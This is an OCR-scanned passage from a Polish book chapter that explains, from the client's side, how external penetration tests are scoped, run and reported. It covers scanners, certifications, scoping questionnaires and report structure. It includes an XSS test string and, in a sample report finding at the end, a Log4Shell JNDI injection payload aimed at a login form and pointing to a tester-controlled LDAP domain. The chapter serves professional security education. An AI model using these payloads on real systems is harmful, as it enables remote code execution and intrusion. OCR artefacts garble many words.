Testy penetracyjne moga zosta¢ zautomatyzowane dzieki wykorzystaniu tzw. skane-
row podatnosci. Narzedzia, ktore posiadaja takie mozliwosci, to m.in.:

» Burp Suite Professional (modu} Skaner z komercyjnej wersji programu)’,

» OWASP ZAP,

» Nessus (narzedzie komercyjne),

» Metasploit Pro™.

Powyzsza lista nie jest absolutnie kompletna, ale wymienione narzedzia znam i mia-
lem okazje sprawdzi¢ w rzeczywistych testach penetracyjnych. Pierwsze dwa (Burp
oraz ZAP) przeznaczone s3a do testowania aplikacji webowych. Nessus i Metasploit Pro
réwniez moga zglosi¢ podatnosci dotyczace aplikacji webowych, jednak ich mozliwosci
skupiaja sie na testach szeroko rozumianej infrastruktury.

Takie narzedzia posiadaja wbhudowana baze payloadéw?, czyli ciaggdw znakow, kto-
rych wstrzykniecie do komunikacji z wybrana aplikacja powinno przynies$¢ zamierzo-
ny skutek, oraz informacji o znanych podatnos$ciach, ktére nastepnie prébuja wykryc¢
w aplikacjach i systemach wskazanych jako cel skanéw podatnosci. Jednym z prostszych
payloadéw moze by¢ cigg znakéw <script>alert(1);</script>, ktéry po wstrzyknie-
ciu do aplikacji webowej moze pozwoli¢ na wykrycie podatno$ci typu Reflected XSS
lub Stored XSS.

Wykorzystanie wymienionych skaneréw podatnos$cilub im podobnych to ciekawa al-
ternatywa w przypadku checi przeprowadzenia podstawowego badania bezpieczenstwa
sieci. Co wazne, zwykle nie ma potrzeby, by ich operator posiadatl specjalistyczna wiedze
na temat bezpieczenstwa IT. Skanery infrastruktury wymagaja podania zakresu adreséw
IP, ktére maja zostac¢ zeskanowane, natomiast w przypadku narzedzia Skaner z pakie-
tu Burp Professional wskazane jest posiadanie przynajmniej podstawowych informacji
dotyczacych dzialania protokotu HTTP. Zdecydowanie dobrze jest korzystac z takich na-
rzedzi, poniewaz wnosza one istotng warto$¢ w badania biezacego stanu bezpieczenstwa
systemdw, jednak trzeba réwniez zna¢ ich ograniczenia.

Podstawowa stabo$¢ tego typu skaneréw pojawi sie juz w przypadku checi zbadania
podatnosci, ktére moga wymagac zrozumienia logiki dzialania aplikacji lub wykona-
nia okre$lonej sekwencji operacji, ktérych nie da sie oskryptowac¢ lub w innej formie
zaprogramowac w skanerze. Przykladem moga by¢ podatnosci w warstwie autoryzacji

* Zob. Piosek. M., Burp Suite Community Edition — wprowadzenie do obstugi proxy HTTP [w:] Bezpieczeristwo aplikacji
webowych, Krakéw 2020, s. 89-128.

** Zob. rozdz. Ptaszek P., Metasploit w praktyce,
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dostepu do danych, np. Insecure Direct Object Reference (IDOR)%. Zaden ze znanych mi
skaneréw podatnosci nie bedzie w stanie wskazac¢ bledu polegajacego na mozliwosci
uzyskania dostepu do danych uzytkownika A przez uzytkownika B. Wykazanie takiej
podatnosci wymaga zrozumienia logiki aplikacji, danych, ktdre sa w niej przetwarzane,
oraz wykonania sekwencji dziatan, ktére udowodnia wystepowanie podatnosci. Naj-
prostszy przypadek to podmiana identyfikatora danego zasobu w zapytaniu. Skaner,
bez odpowiedniej parametryzacji lub oskryptowania, nie bedzie wiedzial, jaka warto$¢
podmieni¢, by ,udowodni¢” istnienie podatnosci.

Powyzsze przestanki to jeden z argumentow przemawiajacych za klasycznym podej-
$ciem do testdw penetracyjnych, ktére oczywiscie moga by¢ wspierane przez skanery
podatnosci, jednak wiedza i doswiadczenie pentesteréw sa kluczowe do tego, by wykazac
nietrywialne podatnosci. Nie probuje tu deprecjonowac sensu wykorzystania skanerdw,
a jedynie wskazac ich ciaggle istotne ograniczenia.

Moze dziwi¢ brak oméwienia dystrybucji Kali Linux lub wrecz konkretnych narze-
dzi®, ktére wbudowane sa w ten system. To fakt, ta kwestia moze by¢ kontrowersyjna,
jednak nalezy pamieta¢, ze w tym rozdziale skupilem sie na narzedziach, ktére maja
cechy automatycznych skaneréw podatnosci, a nie kazde narzedzie wbhudowane w Kali
Linux mozna tak okresli¢.

CERTYFIKATY

Drugim waznym do omdéwienia tematem jest kwestia certyfikatow, ktore posiadaja osoby
zaangazowane w testy penetracyjne”.

Jest to kwestia, ktdra ciaggle budzi zywe dyskusje wsrdd czesci spotecznosci bezpie-
czenstwa IT. Najogélniej moéwiac, istnieja dwa stronnictwa. Jedno, ktére stoi na stano-
wisku, ze certyfikaty sa niepotrzebne, a najwazniejsza jest wiedza praktyczna. Drugie
stronnictwo uznaje certyfikaty za wyznacznik wiedzy wybranego pentestera lub audyto-
ra. Moje osobiste stanowisko mozna umiejscowi¢ gdzie$ posrodku. Uwazam, ze dobrze,
aby pentester posiadal certyfikaty poswiadczajace jego kwalifikacje. Szczegélnie cenne
sg te dokumenty, ktérych zdobycie wymaga wykazania sie wiedza praktyczna.

Na jakie certyfikaty warto zwrdci¢ uwage? Jest kilka, szczegélnie rozpoznawalnych:

» Offensive Security Certified Professional (OSCP)* — certyfikat potwierdza-

jacy, ze legitymujaca sie nim osoba zdobyla praktyczna wiedze z zakresu prze-
prowadzania testow penetracyjnych. Przez praktyczng wiedze nalezy rozumie¢
umiejetnosci zwigzane z enumeracja zasobow sieciowych oraz wyszukiwaniem
i eksploitacja podatnosci. Najnowsze wydania tego certyfikatu wymagaja réwniez
potwierdzenia wiedzy z zakresu atakowania Active Directory®.

» Certified Ethical Hacker (CEH)* - osobe posiadajaca certyfikat CEH mozna skla-

syfikowac jako najpewniej majaca uporzadkowana i Srednio zaawansowana wie-
dze z zakresu bezpieczenstwa IT.

* Wiecej o certyfikatach zob. rozdz. Trawinski G., Certyfikacje ofensywne w cybersecurity [w:] Wprowadzenie do bezpie-
czeristwa IT, t. 2.
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Proces realizacji zewngtrznych testw bezpieczenstwa

» Certified Information Systems Security Professional (CISSP)* — certyfikat, kt6-
rego zdobycie wymaga szerokiej wiedzy z zakresu bezpieczenstwa IT. Caly mate-
rial podzielony jest na kilka domen, a mozliwo$¢ legitymowania sie certyfikatem
oprocz zdania egzaminu wymaga udokumentowanego do$wiadczenia w branzy IT.

Opierajac sie na doSwiadczeniu i obserwacjach, rekomenduje skupiac sie na certyfikatach,
takich jak OSCP, ktdre bazuja na wiedzy praktycznej, co w przypadku prowadzenia pente-
stéw jest kluczowe. Przedstawiona lista certyfikatéw reprezentuje jedynie malty wycinek
oferty dostepnej na rynku®. Nie jest moim celem tworzenie kompletnej listy, a jedynie zwré-
cenie uwagi na te najczesciej spotykane (i nierzadko wymagane przez zamawiajacych).

PROCES REALIZACJI ZEWNETRZNYCH TESTOW BEZPIECZENSTWA

Czas na omowienie procesu realizacji testdw bezpieczenstwa z perspektywy zamawiaja-
cego oraz na poruszenie kilku kwestii ,,od kuchni”, ktére czasem determinujg okreslone
decyzje wykonawcy.

Podstawowe zagadnienia, ktdre inicjuja caly proces, zostaly opisane w pierwszej
czedci rozdziatu (Zakres prac). Chcac rozpoczaé proces realizacji testéw penetracyjnych,
dobrze jest wiedzie¢, co powinno zosta¢ przetestowane, ale nie ma potrzeby, by okreslac¢
to bardzo szczegotowo.

Rozmowa z wykonawca

Jezeli nie realizowaliSmy wczesniej testéw penetracyjnych, w okredleniu zakresu
testdw powinien poméc wykonaweca tej ustugi. Wychodzac od ogdlnego opisu zapotrze-
bowania, powinien pomdc doprecyzowac zakres i zalozenia dzialan. Warto na poczatku
zorganizowac spotkanie poSwiecone tym zagadnieniom.

Zamawiajacy podczas rozmowy z wykonawcg moze poruszy¢ ponizsze tematy i za-
pytac o kilka kwestii:

» Jakim do$wiadczeniem moze pochwali¢ sie firma w obszarze testdw penetracyjnych

ogdblnie oraz w wybranym przez zamawiajacego zakresie (np. firma specjalizuje sie
w testach aplikacji webowych, a projekt ma dotyczy¢ testéw infrastruktury sieciowe;j).

» TIlu pentesteréw pracuje w firmie oraz czy sa to pracownicy na wylaczno$¢ (stala,

zaufana kadra).

» Jakie pisemne referencje moze przedstawic¢ firma.

» Jakie certyfikaty branzowe posiadaja pentesterzy (np.: OSCP, CEH, CISSP itp.).

» Jaki procent z budzetu projektu firma przeznacza na testy reczne, a ile na testy

automatyczne.

» Czy firma praktykuje przekazywanie raportéw roboczych (czastkowych) w trakcie

realizacji projektow (np. gdy wykryta zostanie istotna podatnosc).

Rzetelny partner juz na etapie rozmowy wstepnej powinien zasygnalizowaé brak prze-
szk6éd w podpisaniu umowy o zachowaniu poufnosci®, ktéra ma na celu zabezpieczy¢
interesy zamawiajacego.
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Pytania o zakres testu

Rozmowa z wykonawca powinna zakonczy¢ sie przynajmniej ustaleniem zakresu te-
stow na wysokim poziomie ogélnosci. Mam tutaj na mysli doprecyzowanie, jakie obszary
powinny podlega¢ audytowi, np.: aplikacje webowe, infrastruktura, moze sieci Wi-Fi.
Takie ogo6lne okreslenie zakresu i priorytetéw powinno wykonawcy wystarczy¢ do tego,
by zainicjowac kolejne kroki procesu.

Wycena testéw penetracyjnych uzalezniona jest w gléwnej mierze od tego, jak
rozbudowana jest infrastruktura lub aplikacje, ktére maja zosta¢ poddane testom.
Wykonawca po wstepnym ustaleniu zakresu bedzie musiat zada¢ kilka dodatkowych,
bardziej szczegétowych pytan technicznych, tak by mdéc oszacowac skale przedsiewzie-
cia. Przyklady takich pytan dla wybranych obszaréw mozna znalez¢ ponizej. Mozna zalo-
zy¢, ze kazdy z wykonawcow bedzie zadawal podobne pytania —i zawczasu przygotowac

sie na udzielenie odpowiedzi.

DOBRE PRAKTYKI: FAQ DLA TESTOW APLIKACJI WEBOWEJ

1.

2.

10.

1.

12.

Do czego stuzy aplikacja? Jakie funkcje udostepnia?

Jak rozbudowana jest aplikacja (szacunkowa liczba unikalnych ekranow/formularzy, np. do 10, 20, 50 itd.)?
Reuzywalne ekrany/formularze nalezy liczy¢ jako jeden.

lle roznych grup uzytkownikow (o réznych uprawnieniach) posiada aplikacja?

lle sposrod wykorzystywanych grup uzytkownikéw musi zostaé objetych audytem (np. maksymalnie 3-4 grupy)?
lle endpointéw/metod APl wykorzystuje aplikacja (np. 10 endpointéw/metod dla REST API, 10 operacji/metod

w ramach dwdch ustug SOAP)? Pytanie odnosi sig do tych metod i endpointdw, ktore wykorzystywane sg po-
miedzy frontendem (aplikacja dziatajaca w przegladarce WWW), a backendem aplikacji (czes¢ serwerowa). Nie
nalezy wlicza¢ metod/endpointéw wewnetrznych, do ktérych nie mozna odwotac sie w bezposredni sposab.
Czy aplikacja wspotdzieli backend (np. API) z innymi aplikacjami (np. z aplikacja mobilna)? Jesli tak, nalezy
doprecyzowac liczby endpointow AP, ktdre sg uzywane przez poszczegolne typy aplikacji, np. aplikacja
webowa: 120 endpointéw, aplikacja mobilna: 30 endpointéw itd.

W jakiej technologii wykonany jest system?

W miare mozliwosci warto przestac 2-3 zrzuty ekranu z aplikacji.

Czy bedg wykonywane testy reczne (bardziej doktadne, badajace logike aplikacji) czy tylko automatyczne?

W jaki sposab zrealizowane jest uwierzytelnianie w aplikacji (standardowa para: login i hasto, certyfikaty,
tokeny 2FA itp.)?

Czy aplikacja wykorzystuje dodatkowe metody autoryzacji wrazliwych operacji (np. za pomocg kodéw SMS,
tokenow sprzetowych, tokenéw mobilnych, certyfikatow kwalifikowanych itp.)?

Czy aplikacja zawiera funkcje znane z systemow e-commerce (np. integracja z bramka ptatnosci, funkcja
koddw rabatowych, pobieranie faktur itp.)?
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Czy istnieje mozliwos$¢ uzyskania dostepu do aplikacji przed ztozeniem oferty (np. do wersji demo)? W przy-
padku istnienia takiej mozliwosci, konieczne bedzie udostepnienie niezbednych danych (adres URL aplikacji,
login, hasto).

. Czy mozliwe sg testy zdalne (np. z wykorzystaniem tunelu VPN)?

W jakim srodowisku bedzie przeprowadzany audyt (testowym, produkcyjnym)?
Czy sa jakies ograniczenia czasowe w trybie przeprowadzania audytu (np. godziny nocne, weekendy itp.)?
Jaki jest pozadany termin wykonania audytu?

Czy planowane sg retesty (tj. powtdrne sprawdzenie, czy wskazane w raporcie z testow podatnosci zostaty
skutecznie usunigte przez zamawiajacego)?

DOBRE PRAKTYKI: FAQ DLA TESTOW SIECIOWYCH (WAN-LAN)

1.

2.

lle publicznych adresow IP (lub jaka maska podsieci) bedzie podlegac analizie?

Ile (szacunkowo) aktywnych hostéw znajduje sie w sieci LAN (serwery, routery, firewalle, komputery, drukar-
ki, laptopy itd.)?

Ile jest fizycznych lokalizacji sieci LAN? Jedna czy wigcej? Nalezy podac lokalizacje (miasta).

Czy mozliwe jest przetestowanie catej sieci z jednej lokalizacji?

Czy testy maszyn znajdujacych sie w sieci wewnetrznej (LAN) moga zostac zrealizowane zdalnie?

Czy sa jakies ograniczenia czasowe w trybie przeprowadzania audytu (np. godziny nocne, weekend itp.)?

Czy planowane sg retesty (tj. powtdrne sprawdzenie, czy wskazane w raporcie z testow podatnosci zostaty
skutecznie usunigte przez zamawiajacego)?

DOBRE PRAKTYKI: FAQ DLA TESTOW APLIKACJI MOBILNEJ

1.

2.

Do czego stuzy aplikacja? Jakie funkcje udostepnia?

Jak rozbudowana jest aplikacja (szacunkowa liczba unikalnych ekranow/formularzy, np. do 10, 20, 50 itd.)?
Reuzywalne ekrany/formularze nalezy liczy¢ jako jeden.

lle endpointéw/metod APl wykorzystuje aplikacja (np. 10 endpointéw/metod dla REST API, 10 operacji/metod
w ramach dwdch ustug SOAP)?

Czy aplikacja wspotdzieli backend (np. API) z innymi aplikacjami (np. z aplikacjg webowa)? Jesli tak, nalezy
doprecyzowac liczbe API, ktére sg uzywane przez poszczegolne typy aplikacji, np. aplikacja webowa: 120

endpointow, aplikacja mobilna: 30 endpointoéw itd.

lle roznych grup uzytkownikéw (o réznych uprawnieniach) posiada aplikacja?
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10.

1.

12.

13.

14.

15.

16.

17.

18.

19.

lle sposrad wykorzystywanych grup uzytkownikow musi zostac objetych audytem (rekomendujemy testy
maksymalnie 3-4 grup)?

Na jakich platformach dostepna jest aplikacja mobilna (i0S, Android)?

Na jakich docelowych urzadzeniach bedzie dziatata aplikacja (iPhone, iPad, tablet itd.)?

Jakie wersje systemow sa wspierane przez aplikacje?

Czy aplikacja wykorzystuje dedykowany (wtasnosciowy) protokdt komunikacyjny, inny niz HTTP (HTTPS)?
W miare mozliwosci warto przestac 2-3 zrzuty ekranu z aplikacji.

Czy aplikacja jest aplikacja natywng czy tzw. aplikacja hybrydowa (napisana np. z wykorzystaniem frame-
worka Cordova, React Native itp.)?

Czy mozliwe jest dostarczenie aplikacji mobilnej w wersji bez zabezpieczen typu: pinning certyfikatow, anti-
-root/anti-jailbreak, obfuskacja kodu?

W jaki sposab zrealizowane jest uwierzytelnianie w aplikacji (standardowa para: login i hasto, certyfikaty,
tokeny 2FA itp.)?

Czy mozliwe sa testy zdalne (np. z wykorzystaniem tunelu VPN)?

W jakim $rodowisku bedzie przeprowadzany audyt (testowym, produkcyjnym)?

Czy sa jakies ograniczenia czasowe w trybie przeprowadzania audytu (np. godziny nocne, weekend itp.)?
Jaki jest pozadany termin wykonania audytu?

Czy planowane sa retesty (tj. powtérne sprawdzenie, czy wskazane w raporcie z testow podatnosci zostaty
skutecznie usunigte przez zamawiajacego)?

Jak widac sa to pytania gldwnie iloSciowe, ktore maja pomoc wykonawcy w zobrazowa-
niu tego, jak bardzo rozbudowana jest wybrana aplikacja lub infrastruktura oraz jak
bardzo czasochlonne moze by¢ jej testowanie.

Oferta i kwestie formalne

Po udzieleniu odpowiedzi na pytania przedsprzedazowe i wyjasnieniu ewentualnych
watpliwosci wykonawca ma peilna wiedze niezbedna do przygotowania wyceny testow
iprzedstawienia oferty. Analizujac sam dokument oferty, warto zwrocic szczegdlng uwa-
ge, poza wycena, na cze$¢ merytorycznag, ktéra powinna opisywaé¢ m.in. zakres testéw
oraz jasno definiowaé podejs$cie wykonawcy do pracy (testy black box czy testy gray
box, testy reczne czy testy automatyczne itd). Nie bez znaczenia sa réwniez deklaracje
wykonawcy co do harmonogramu prac (testy trwajace od kilku dni do kilku tygodni
to standard, oczywi$cie w zalezno$ci od zakresu prac).

Oferta powinna réwniez uwzglednia¢ kwestie retestow. To tez jest pewnego rodzaju
standard w branzy, ktory zaklada weryfikacje skuteczno$ci wdrozonych poprawek hez-
pieczenstwa, juz po otrzymaniu raportu z testéw bazowych. Wykonaweca testow jeszcze
raz sprawdza miejsca, w ktérych zglosil podatnosci, i weryfikuje, czy zostaly one popraw-
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nie wyeliminowane. Nalezy w tym miejscu zaznaczy¢, ze retest nie jest ponownym audy-
tem. W ramach retestéw wykonawca sprawdzi jedynie podane miejsca, a nie ponownie
cala aplikacje od A do Z.

Jezeli oferta przedstawiona przez wykonawce okaze sie atrakcyjna i przejdzie we-
wnetrzny proces akceptacji, mozna przystapi¢ do podpisywania umowy na same testy.
W tym miejscu nie chce szczegdtowo omawia¢ samej kwestii podpisywania i negocjo-
wania tre$ci umowy, dlatego Ze jest to rzecz na wskro$ formalna i zalezy od preferencji
wybranej firmy".

Ktorag skrzynke wybrac¢?

W podrozdziale Podstawowe pojecia podatem definicje testow czarnej, szarej i bialej
skrzynki. W ramach przypomnienia napomkne, ze to rozréznienie determinuje wybdr
podejscia do testdw, uzalezniajac go od wiedzy lub zestawu informacji, jakie pentester
powinien mie¢ (lub bedzie mial) o weryfikowanym systemie czy infrastrukturze. Powsta-
je pytanie, co wybrac?

Jezeli celem jest zweryfikowanie, co potencjalny atakujacy bedzie w stanie wykry¢,
znajac jedynie adres aplikacji lub okreslonego serwera, nalezy wybra¢ podejscie
typu black box. Taki rodzaj testéw najwierniej odda przypadek rzeczywistego ataku na
system. Uwaga, taka decyzja ma jednak swoje konsekwencje. Powierzchnia ataku, jaka
bedzie miat do dyspozycji pentester, najprawdopodobniej bedzie istotnie ograniczona.
Przykladowo w przypadku aplikacji webowych, ktére witaja nieuwierzytelnionego uzyt-
kownika formularzem logowania, tak naprawde ten wlasnie formularz moze stanowic
jedyny punkt zaczepienia. OczywiScie pentester moze podjac sie enumeracji innych za-
sobdw, ale nie ma zadnej gwarancji, ze znajdzie jeszcze co$, co umozliwi dalsze wyszu-
kiwanie podatnosci. Brak mozliwo$ci przetamania zabezpieczen formularza oznaczac
bedzie zatem zakonczenie testow.

Drugi model to tzw. test gray box. Definicje, z jakimi spotykam sie w trakcie rozméw
z klientami, sa bardzo rézne, ale najczesciej ttumaczy sie to jako podejscie, w ktorym
pentester otrzymuje pewne podstawowe informacje o aplikacji (np. technologie wy-
korzystane do jej stworzenia) i, co szczegdlnie istotne, poprawne poswiadczenia pozwa-
lajace uzyskac dostep do funkecji osiaggalnych tylko dla zalogowanego uzytkownika.
W modelu tym zaklada sie wiec, Ze pentester weryfikuje nie tylko funkcje dostepu dla
uzytkownika niezalogowanego (tak jak ma to miejsce w ramach testow czarnej skrzynki),
ale rowniez weciela sie w role uzytkownikéw majacych dostep do aplikacji, dzieki czemu
moze wyszuka¢ podatnos$ci rowniez w tej cze$ci aplikacji.

Ostatni model to tzw. test white box, ktdéry zaklada, ze pentester ma pelna wiedze
o systemie, w co wliczy¢ mozna dostep do dokumentacji projektowej lub mozliwosé
zadania pytan architektom systemu. Co jednak najwazniejsze, w testach bialej skrzyn-
ki prawie zawsze pentester ma réwniez dostep do kodu zZrédlowego, dzieki czemu moze
sie z nim zapoznac i wyszukac bledy, czytajac kod.

* Zainteresowanych Czytelnikéw prosimy o wiadomo$¢ na adres securitum@securitum.pl z prosbha o udostepnienie
szablonu takiego dokumentu. By¢ moze dodatkowo ulatwi to wejscie w szczegoly tego etapu przygotowan do audytu.
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Jak wiec odpowiedzie¢ na pytanie, ktéra skrzynke wybra¢? Bazujac na moim doswiad-
czeniu, moge stwierdzi¢, ze w przypadku szeroko rozumianych testéw infrastruktury
klienci najczesciej decyduja sie na podejscie black box, czyli weryfikacje infrastruktury
w taki sposob, w jaki widzi ja potencjalny atakujacy, niemajacy dodatkowych dostepow
do systemdw i urzadzen sieciowych. Dla aplikacji zdecydowanie polecam jednak podej-
$cie gray box, czyli sprawdzenie nie tylko tego, co widac przed uwierzytelnieniem, ale
réwniez po uwierzytelnieniu w aplikacji.

Przygotowanie

Zalézmy, iz wszystkie kwestie formalne udalo sie pomy$lnie uzgodnic¢ i mozna przejs¢

do realizacji samych testow. Jak ten etap realizacji bedzie przebiegat w praktyce?

Podobnie, jak w przypadku ustalania zakresu testéw, réwniez na tym etapie wyko-

naweca powinien przeprowadzic¢ zlecajacego testy przez wszystkie zadania niezbedne do
uruchomienia projektu. Oferta dotyczaca testéw definiuje zakres prac, ale teraz wyko-
nawcy trzeba przekazac praktyczne informacje o testowanym systemie.

Krok po kroku trzeba bedzie omoéwié¢ ponizsze kwestie:

» W przypadku aplikacji webowej bedzie to wskazanie adresu URL, danych doste-
powych (login i hasto) oraz innych materialéw, ktére moga by¢ potrzebne wyko-
nawcy do sprawnej realizacji testow.

» W odniesieniu do aplikacji mobilnej bedzie to przekazanie plikéw .apki.ipalub
udostepnienie aplikacji na wskazane adresy e-mail z wykorzystaniem takich plat-
form, jak TestFlight*¢. Dodatkowo, podobnie jak w przypadku aplikacji webowej,
konieczne bedzie przekazanie informacji o loginach i hastach niezbednych do
uwierzytelnienia w aplikacji, o ile pentesterzy sami nie beda mogli zalozy¢ kont
na czas swojej pracy.

» W przypadku testéw infrastruktury WAN zazwyczaj wykonawcy wystarczy
wskazanie adresow IP lub podsieci, ktore maja stanowic zakres prac.

» Dla testow infrastruktury LAN, wzgledem testdw sieci WAN, konieczne moze by¢
jeszcze ustalenie zasad, dzieki ktérym pentester bedzie mo6gt uzyskac dostep do
sieci wewnetrzne;j.

Bardzo dobra praktyka, o ile tylko pozwala na to czas, jest przeprowadzenie z zespo-
lem pentesteréw spotkania typu kick-off, podczas ktérego opiekun testowanego systemu
zaprezentuje rozwigzanie i opowie o jego mozliwo$ciach. Ma to szczeg6lne znaczenie
w przypadku rozbudowanych systemow, w ktérych zaimplementowana logika bizneso-
wa nie jest trywialna. Podzielenie sie z zespolem pentesteréw praktyczng wiedzg o sys-
temie pozwala zaoszczedzi¢ czas, ktéry potem sami musieliby po$wieci¢ na zapoznanie
sie z systemem w my$l zasady, Ze poznanie sposobu dzialania systemu jest kluczem
do znalezienia jego slabo$ci.

Niemate znaczenie ma réwniez zadbanie o to, by aplikacje, ktére podlegaja weryfika-
cji, byly wypelnione danymi testowymi. Czasem moze mie¢ to wplyw na wynik testow,
poniewaz okre$lone funkcjonalnosci aplikacji moga uaktywniac sie dopiero przy okre-
$lonym zestawie danych. Pentester moze zauwazy¢ takie niuanse, ale nie jest to pewne.
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Kontrowersyjna kwestig jest dostarczanie na potrzeby testéw zmodyfikowanych
wersji aplikacji mobilnych. Mowa tutaj o zabezpieczeniach, ktére twdrcy aplikacji uru-
chamianych w smartfonach dodaja, by np. uniemozliwi¢ uruchomienie aplikacji na te-
lefonie z jailbreakiem®. Inne stosowane zabezpieczenie to tzw. pinning certyfikatéw?,
ktory powoduje, ze aplikacja nie polaczy sie z serwerem, ktéry przedstawi nieznany
aplikacji certyfikat SSL/TLS. Pytanie, na czym polega kontrowersja? Ot6z wspomniane
zabezpieczenia mozna traktowac jako integralne elementy budujace bezpieczenstwo da-
nej aplikacji. Problem jednak w tym, ze potrafig one skutecznie utrudnié, a w skrajnych
przypadkach — uniemozliwi¢ realizacje testow penetracyjnych aplikacji. Zdarza sie, ze
wspomniane zabezpieczenia mozliwe sg do obejscia kosztem kilku minut dzigki spraw-
dzonym i gotowym narzedziom automatyzujacym ten proces”. Niektére implementacje
pinningu certyfikatéw lub zabezpieczen typu anty-jailbreak, anty-root wymagaja jednak
godzin lub nawet dni analizy. Nie zawsze udaje sie te zabezpieczenia ominaé w rozsad-
nym z biznesowego punktu widzenia czasie, a jest to konieczne do tego, by wykona¢
wlasciwa cze$é testéw, czyli badanie funkcji i logiki biznesowej aplikacji.

Zalecam, by w przypadku aplikacji mobilnych dostarczac do testéw aplikacje z wyla-
czonymi dodatkowymi warstwami zabezpieczen (pinning certyfikatéw, anty-root/anty-
-jailbreak). Jezeli z jakiego$ powodu zbadanie tej warstwy jest jednak istotne, mozna
umdwié sie z wykonawca np. na jeden dzien roboczy poswiecony tylko na badanie tej
warstwy. Jezeli w takim czasie nie uda sie omina¢ tych zabezpieczen, mozna przyjac,
Ze reprezentuja one rozsadny poziom i mozna skupi¢ sie na badaniu istotniejszych ele-
mentow aplikacji, jak np. zabezpieczenia backendu.

Wykonanie testow

Przekazanie pentesterom zestawu danych niezbednych do wykonania prac oraz zor-
ganizowanie spotkania z prezentacja systemu tam, gdzie bedzie to uzasadnione, powinno
by¢ wystarczajace do tego, by samo przeprowadzanie testow przebieglo z perspektywy
zlecajacego testy bezobstugowo. Sprawnie dzialajacy wykonawca testow penetracyj-
nych angazuje zamawiajacego jedynie na etapie poprzedzajacym realizacje testow,
gdy musi pozyska¢ od niego niezhedne dane czy potwierdzi¢ dostepy do Srodowisk.

W trakcie pracy oczywiscie moga pojawic sie pytania ze strony wykonawcy, zwiaza-
ne np. z niedzialajacymi funkcjami lub brakiem danych, ktére potrzebne sa do tego, by
przetestowac wybrana funkcje systemu. Od wykonawcy mozna réwniez oczekiwac, ze
bedzie informowatl zlecajacego o postepie prac, np. przesytajac raporty robocze (notatki
robocze) w przypadku wykrycia istotnych podatnosci.

Raport

Formalnie proces realizacji bazowych testéw penetracyjnych konczy sie przekaza-
niem zamawiajacemu raportu opisujacego wykryte podatnosci.

* Zob. rozdz. Rzepecki M., Android - bezpieczeristwo systemu i podstawy testow penetracyjnych aplikacji mobilnych, 3 i
tenze, i0OS - bezpieczeristwo systemu i podstawy testow penetracyjnych aplikacji mobilnych, é
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DOBRE PRAKTYKI: STRUKTURA RAPORTU Z TESTOW PENETRACYJNYCH

Raport z testow penetracyjnych powinien zawiera¢ co najmniej ponizsze informacje:
» podsumowanie dla kadry zarzadzajacej;
»  statystyki wykrytych podatno$ci z podziatem na poziomy ryzyka;
» zestawienie wykrytych podatnosci, ktore dla kazdej z nich zawiera¢ bedzie:
> identyfikator oraz tytut podatnosci;
> informacje o poziomie ryzyka;
> opis jezykiem biznesowo-technicznym;

> szczegOty techniczne podatnosci wraz z tzw. proof of concept (PoC) oraz opisem krokow, ktore nalezy
wykonac, by odtworzy¢ zgtaszany btad;

> opcjonalnie sekcje ,lokalizacja", czyli doktadne wskazanie miejsca lub miejsc wystepowania btedu
(np. adres IP wraz z portem podatnej ustugi, doktadny endpoint API*® itp.);

> sekcje zrekomendacjami, ktore zdaniem wykonawcy nalezy wdrozy¢, by skutecznie wyeliminowac
podatnosé.

Przyklady raportow, ktore zawieraja wspomniane informacje, mozna znalez¢ np. w udo-
stepnianych wszystkim zasobach Securitum®. Dodatkowo w sieci mozna znalez¢ kilka

miejsc, ktdére agreguja publiczne raporty roznych firm*.

Przykladowy opis podatnosci z testéw aplikacji ICA zostal przedstawiony na rysunku 2.
Raport po przygotowaniu i opracowaniu musi zosta¢ przekazany do wskazanych w umo-
wie 0s6b w spos6b zapewniajacy jego bezpieczenstwo i poufno$é. Najczesciej spotykane

rozwigzania pozwalajgce na przekazanie raportu e-mailem to:

» wykorzystanie PGP* w celu zaszyfrowania raportu i przekazania do wybranej

osoby,

» zaszyfrowanie raportu w archiwum 7-Zip* oraz przekazanie hasta innym, bez-

piecznym kanatem (np. z wykorzystaniem komunikatora Signal®).

Niektorzy zamawiajgcy dopuszczajg rdwniez wgranie raportu na udostepniony przez

nich zaséb sieciowy, np. OneDrive*s lub SharePoint?’.

Zamawiajacy testy moze mie¢ oczywiscie pytania lub uwagi do tresci raportu. Sam
dokument powinien by¢ przygotowany w sposéb niebudzacy watpliwosci, ale jezeli ta-
kowe sie pojawia, powinny zosta¢ zaadresowane przez zespoét realizujacy testy. Mozna
w tym celu przekazac¢ pytania do koordynatora testow po stronie wykonawcy, ale warto
zadbacd o bezpieczenstwo przekazywanych tresci (np. zaszyfrowaé pytania w archiwum

7-Zip i udostepnic hasto innym kanatem komunikacji).

Jezeli wszystkie watpliwosci zostaly wyjasnione, mozna przystapic¢ do implementacji

poprawek bezpieczenstwa.
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Proces realizacji zewngtrznych testw bezpieczenstwa

[HIGH] SECURITUM-215508-001: Podatna biblioteka Apache Log4j

(LogaShell, CVE-2021-44228)

Oris

W aplikacji wykryto podatnosé CVE-2021-44228. Petne wykorzystanie tej podatnosci pozwala na wykonywanie
komend systemowych (ang. Remote Code Execution, RCE) z uprawnieniami uzytkownika, na jakim dziata
aplikacja.

W trakcie czasu przeznaczonego na audyt nie udato sie przygotowac petnego scenariusza (Proof of Concept),
ktdry umozliwitby wykonanie komend systemowych. Potwierdzono jedynie wykonywanie zadar DNS. Z tego
powodu istotnos¢ podatnosci obnizono z poziomu CRITICAL do HIGH.

Wiecej informacji:

e https://sekurak.pl/ki
2021-44228-rce/

e https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Dostep do aplikacji.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Aby potwierdzi¢ wystepowanie podatnosci, nalezy wykonaé nastepujace kroki:

1. Podac dowolne dane w formularzu logowania.
2. Wystaé formularz i narzedziem typu proxy (np. Burp Suite) przechwycic¢ zadanie:

POST /cas/login HTTP/1.1
Host: icarde@.pl.canalplus.com

[-]

username=adres&password=haslo&lt=LT-[..].cplus.wew&execution=d8f@9c11-
[..]Jmdw#%3D%3D&hash=&_eventId_submit=ZALOGU]

3. Zmieni¢ wartos¢ parametru username na ${jndi:1ldap://[..domena..].pl/} (nalezy mie¢ kontrole nad
podanag domena):

POST /cas/login HTTP/1.1
Host: icarde@.pl.canalplus.com

]

username=${jndi:1ldap://[..domena..].pl/}&password=[..]&1t=LT-[..].cplus.wew&execution=d8f@9c11-
[..]Jmdw%3D%3D&hash=& eventId_submit=ZALOGU]

4, Odpowied? aplikacji:

